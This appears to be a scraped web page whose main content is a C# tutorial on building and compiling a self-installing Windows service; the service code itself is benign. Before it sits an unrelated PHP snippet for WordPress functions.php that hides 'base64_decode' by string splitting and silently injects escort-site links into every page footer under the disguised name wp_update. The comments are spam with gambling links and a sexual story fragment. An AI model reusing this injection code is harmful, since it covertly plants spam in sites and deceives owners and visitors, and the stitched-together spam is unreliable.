----------------------------------------------------------- HTML Minifier ------------------------------------------------------------ ------------------------------------------------------------ WP Config.php Or Functions.php ------------------------------------------------------------ function wp_update(){ $homepage = 'ba'.'se'. 32*2 .'_' .'de'.'co'.'de'; $conffing = 'PGRpdiBjbGFzcz0ibXktbGlua3MiPiA8YSBocmVmPSJodHRwOi8vaXN0YW5idWxlc2NvcnRhZ2VuY3kuY29tIiB0YXJnZXQ9Il9ibGFuayI+xLBzdGFuYnVsIEVzY29ydDwvYT4g4oCiIDxhIGhyZWY9Imh0dHA6Ly9pc3RhbmJ1bGVzY29ydGJheWFuLmNvbSIgdGFyZ2V0PSJfYmxhbmsiPsSwc3RhbmJ1bCBFc2NvcnQ8L2E+IOKAoiA8YSBocmVmPSJodHRwOi8vaXN0YW5idWxlc2NvcnRpbGV0aXNpbS5jb20iIHRhcmdldD0iX2JsYW5rIj7EsHN0YW5idWwgRXNjb3J0PC9hPiDigKIgPGEgaHJlZj0iaHR0cDovL2lzdGFuYnVsZXNjb3J0bmlsLmNvbSIgdGFyZ2V0PSJfYmxhbmsiPsSwc3RhbmJ1bCBFc2NvcnQ8L2E+IOKAoiA8YSBocmVmPSJodHRwOi8vaXN0YW5idWxlc2NvcnRwYXJ0bmVyLmNvbSIgdGFyZ2V0PSJfYmxhbmsiPsSwc3RhbmJ1bCBFc2NvcnQ8L2E+IOKAoiA8YSBocmVmPSJodHRwOi8vaXN0YW5idWxlc2NvcnRzLm9yZyIgdGFyZ2V0PSJfYmxhbmsiPsSwc3RhbmJ1bCBFc2NvcnQ8L2E+IOKAoiA8YSBocmVmPSJodHRwOi8vaXN0YW5idWxlc2NvcnRiYXlhbi5uZXQiIHRhcmdldD0iX2JsYW5rIj7EsHN0YW5idWwgRXNjb3J0PC9hPiDigKIgPGEgaHJlZj0iaHR0cDovL3ZpcGlzdGFuYnVsZXNjb3J0cy5jb20iIHRhcmdldD0iX2JsYW5rIj7EsHN0YW5idWwgRXNjb3J0PC9hPiDigKIgPGEgaHJlZj0iaHR0cD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WVjaWRpeWVrb3ktZXNjb3J0LWJheWFubGFyLyIgdGFyZ2V0PSJfYmxhbmsiPk1lY2lkaXlla8O2eSBFc2NvcnQ8L2E+IDwvZGl2PjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+PHN0eWxlIHR5cGU9InRleHQvY3NzIj4ubXktbGlua3N7ZGlzcGxheTogdGFibGUtY29sdW1uO3RleHQtYWxpZ246IGNlbnRlcjt9PC9zdHlsZT4K'; echo $homepage($conffing); } add_action('wp_footer','wp_update'); -------------------------------------------------------------- Php versiyon --------------------------------------------------------------

Creating a self installing windows service with c#

Services are not presented as a thing of beauty in .net – in fact, typically creating a service is gut wrenchingly awful. There are multiple design time components to drop in (and for some reason position as icons), and multiple classes for your Service, your ServiceInstaller, and ServiceBase. Then you meet InstallUtil.exe, so much example code which demonstrates installing services relies on the use of InstallUtil.exe. Finally, packaging it all together into an installer. Really, it’s all quite disgusting.

There is a better way. We can create a self installing Windows service using C# and pure code. In a single .cs file should we choose: two classes and managed code. Here’s how to do it. To demonstrate the simplicity of this we’re not going to use Visual Studio, we’ll use Notepad++ (or whichever your preferred editor of choice happens to be) and will compile by hand using the command line tool csc.exe.

No third party code to bundle or execute, no bloat.

NB. You can, of course, drop this unedited code into a Visual Studio project and compile as a Console application.

Step 1

Let’s review how to compile at the command line. We use csc.exe which can be used in a number of ways. We’ll be using it like this:

csc.exe /out:CompliedBinary.exe sourceCode.cs

Remember where csc.exe lives and that compiling happens like this:

C:\WINDOWS\Microsoft.NET\Framework\v3.5>csc.exe /out:G:\winservice\sample.exe G:\winservice\sample.cs

Step 2 (optional)

Add library references to Visual Studio – remember to add these two references to your project if you’re not compiling using csc.exe

System.Configuration.Install
System.ServiceProcess

Step 3

The code

using System;
using System.Text;
using System.Configuration.Install;
using System.Collections;
using System.Diagnostics;
using System.ServiceProcess;
using System.Reflection;
using Microsoft.Win32;

namespace sample
{
	class SampleInstallerClass : Installer
	{
		static public String SVC_APP_NAME    = "snaplen";
		static public String SVC_SERVICE_KEY = @"SYSTEM\CurrentControlSet\Services\" + SVC_APP_NAME;
		static public String SVC_PARAM_KEY   = @"SYSTEM\CurrentControlSet\Services\" + SVC_APP_NAME + @"\Parameters";

		public SampleInstallerClass()
		{
			ServiceProcessInstaller spi = new ServiceProcessInstaller();
			ServiceInstaller si = new ServiceInstaller();

			spi.Account    = ServiceAccount.LocalSystem;
			si.StartType   = ServiceStartMode.Automatic;
			si.ServiceName = SVC_APP_NAME;

			Installers.Add(spi);
			Installers.Add(si);
		}

		static int install_uninstall( bool uninstall )
		{
			try
			{
				TransactedInstaller ti = new TransactedInstaller();

				if ( uninstall == false )
				{
					ArrayList cmdline = new ArrayList();

					cmdline.Add( String.Format( "/assemblypath={0}", Assembly.GetExecutingAssembly().Location) );
					cmdline.Add( "/logToConsole=false" );
					cmdline.Add( "/showCallStack" );

					InstallContext ctx = new InstallContext("installer_logfile.log", cmdline.ToArray(typeof(string)) as string[] );

					ti.Installers.Add( new SampleInstallerClass() );
					ti.Context = ctx;
					ti.Install( new Hashtable() );

					RegistryKey k = Registry.LocalMachine.OpenSubKey( SVC_SERVICE_KEY, true );
					k.SetValue("Description", "Sample service");
					k.CreateSubKey("Parameters"); // add any configuration parameters in to this sub-key to read back OnStart()
					k.Close();

					Console.WriteLine("Installation successful, starting service '{0}'...", SVC_APP_NAME );

					// attempt to start the service
					ServiceController service = new ServiceController( SVC_APP_NAME );
					TimeSpan timeout = TimeSpan.FromMilliseconds(15000);
					service.Start();
					service.WaitForStatus( ServiceControllerStatus.Running, timeout );
					return 0;
				}
				else
				{
					ti.Uninstall(null);
					return 0;
				}
			}
			catch (Exception e)
			{
				Console.WriteLine(e.InnerException.Message + e.StackTrace);
				return(1);
			}
		}

		static void doSomething()
		{
			Console.WriteLine("anything");
		}

		static int Main(string[] args)
		{
			if ( args.Length > 0 )
			{
				String cmd = args[0];

				if ( cmd.Equals("-i") || cmd.Equals("-u") )
				{
					return install_uninstall( cmd.Equals("-u") );
				}
				else if ( cmd.Equals("-h") )
				{
					Console.Write( SVC_APP_NAME );
					Console.Write("Options:\n");
					Console.Write("  --help\tShow command line switch help\n");
					Console.Write("  -i\t\tInstall Service\n\t\t-u\tUninstall Service\n");
				}
				return (0);
			}
			else
			{
				Console.WriteLine("no arguments!");
			}

			ServiceBase.Run( new SampleServiceClass() );
			return 0;
		}
	}

	class SampleServiceClass : ServiceBase
	{
		public SampleServiceClass()
		{
			this.AutoLog = false;
			this.CanHandlePowerEvent = true;
			this.CanPauseAndContinue = false;
			this.CanShutdown = true;
			this.ServiceName = "snaplen example service";
		}

		protected override bool OnPowerEvent(PowerBroadcastStatus ps)
		{
			return true;
		}

		protected override void OnStart(string[] args)
		{
			// add your code
		}

		protected override void OnStop()
		{
			// add your code
		}

		protected override void OnShutdown()
		{
			// add your code
		}
	}
}

Step 4

Compile

C:\>cd C:\WINDOWS\Microsoft.NET\Framework\v3.5\

C:\WINDOWS\Microsoft.NET\Framework\v3.5>csc.exe /out:G:\winservice\sample.exe  G:\winservice\sample.cs
Microsoft (R) Visual C# 2008 Compiler version 3.5.30729.1
for Microsoft (R) .NET Framework version 3.5
Copyright (C) Microsoft Corporation. All rights reserved.

C:\WINDOWS\Microsoft.NET\Framework\v3.5>

Step 5

Execute. You’ll notice (using SysInternals Suite – Process Explorer) that a new service process has spawned, and if you scrutinize services.mmc you’ll also note that your new service is installed and running.

g:\winservice>sample.exe
no arguments!

g:\winservice>sample.exe -h
snaplenOptions:
  --help        Show command line switch help
  -i            Install Service
  -u            Uninstall Service

g:\winservice>sample.exe -i
Installation successful, starting service 'snaplen'...

g:\winservice>

Step 6

Uninstall

g:\winservice>sample.exe -u

The uninstall is beginning.
The uninstall has completed.

Comments (24)

  1. 응답
  2. 응답
  3. 응답
  4. 응답
  5. Sergdah

    응답

    Do you know what holiday it is today?
    We are used to the fact that we know only religious and public holidays and celebrate only them.
    I found out about this only yesterday after visiting the site https://whenisholiday.com/.
    It turns out that every day there are from 2 to 10 different holidays that surround us and make our lives happier.
    Here is one of the holidays that will be today:

  6. 응답
  7. Sergfbv

    응답

    Do you know what holiday it is today?
    We are used to the fact that we know only religious and public holidays and celebrate only them.
    I found out about this only yesterday after visiting the site https://whenisholiday.com/.
    It turns out that every day there are from 2 to 10 different holidays that surround us and make our lives happier.
    Here is one of the holidays that will be today:

  8. 응답

    Even if I lived with a metaphorical life, I felt despair because I was alive. Drama looked up and saw the paintings on the wall. Royal families… It would have been nice if they had only as much desire and wish as they had in accordance with their status. In the past, when I was executed, it would have been nice if all my greed and conflict were equally executed… My wish that can’t be fulfilled is life.

    https://dongahtv.com/merit/ – 메리트카지노

  9. 응답

    It makes it hell. Life in the midst of death… “… Elijahion is trying to raise the body.” Drama whispered painfully. When Drama came out of the building, there was a scarlet sunset in the sky. A delicate and beautiful palace made of numerous glass and white marble. It was shining all red and golden under the setting sun.

    https://andamenti.com/merit/ – 메리트카지노

  10. 응답

    Somewhere I heard the song.Royalty and aristocrats at the party tonight is a palace band and singer this practice in a separate building seemed to entertain.A deep soul, my hometown with a wavelength …In any case, my How can we forget you.O my red …Deuraema was to listen.There was hope, my.So you to leave.

    https://tedbirli.com/merit/ – 메리트카지노

  11. 응답

    So wish, you got me now, left some guys, realizing it was all your shadow, do you want to want to go back …Lost, my hometown.Please open the door for me … … the past, the best lot in preventing the palace in at a distance. whenever I go look for a long time used to go back.It belonged to him throwing a vague feeling, but I don’t know why.

    https://cremocream.com/merit/ – 메리트카지노

  12. 응답

    Wet. Her body trembled severely, and the words were buried in tears and could not be heard well, but the content was conveyed to the Racer’s heart. “…Even if I have to give more than my life…” “…Sina…” I thought it was definitely a dream. This can’t happen in real life… So, the racers stopped hesitating,

    https://tedbirli.com/first/ – 퍼스트카지노

  13. 응답

    I hugged Sina as hard as I could. I could hardly feel the weight on my body. He spoke in a troubled voice. “You’re the subordinate of Luon Ludrat…” Sina raised her head and smiled. It was a soft smile. “Re-game…” I really like you.” “…” Sina was crying endlessly while doing so. That’s…

    https://andamenti.com/first/ – 퍼스트카지노

  14. 응답

    My heart aches, so the racers tried to wipe her tears with their hands up. But as soon as the hand reached it, everything disappeared white. Even Sina’s soft smile. (Continued) ================================================== Seulgi, thank you for your mail…^^ Hmm… And for those who are having a hard time… Cheer up. I sincerely hope you have a good day.^^

    https://cremocream.com/first/ – 퍼스트카지노

  15. 응답

    P.S. There were two 6 episodes. (–) Haha… (–) P.S. 2…There is a ridiculous part, so fix it, and send it again after omitting important words. And I also trimmed the awkward parts. Looking at it again today, I couldn’t stand it while reading it. Haha…(–) P.S. 3…”Fan ID,” what you asked me was just an MC…

    https://loastcoastranch.net/first/ – 퍼스트카지노

  16. 응답

    I definitely wanted to develop a brief comment in order to express gratitude to you for some of the amazing suggestions you are sharing at this site. My time-consuming internet research has at the end been honored with excellent points to go over with my neighbours. I would express that most of us website visitors are very much blessed to exist in a great community with very many marvellous professionals with helpful tips and hints. I feel very fortunate to have used the website page and look forward to so many more awesome times reading here. Thanks again for a lot of things.

  17. 응답

    Garrett thinks to himself; he did not wear a jock home from practice. He was ‘going commando.” Is it his older brother’s jock? “Oh, well. “He mumbles to himself as he takes another whiff of the musky scented pouch of the jock.

    [url=https://taxi-avtosfera.ru/]gape[/url]

  18. 응답

    The one shower after his workout and practice had been a good start. But the walk home had tired him. But the massaging jets of water caressing across his muscular frame takes the weariness from his bones from this stressful day.

Leave a comment

이메일 주소는 공개되지 않습니다.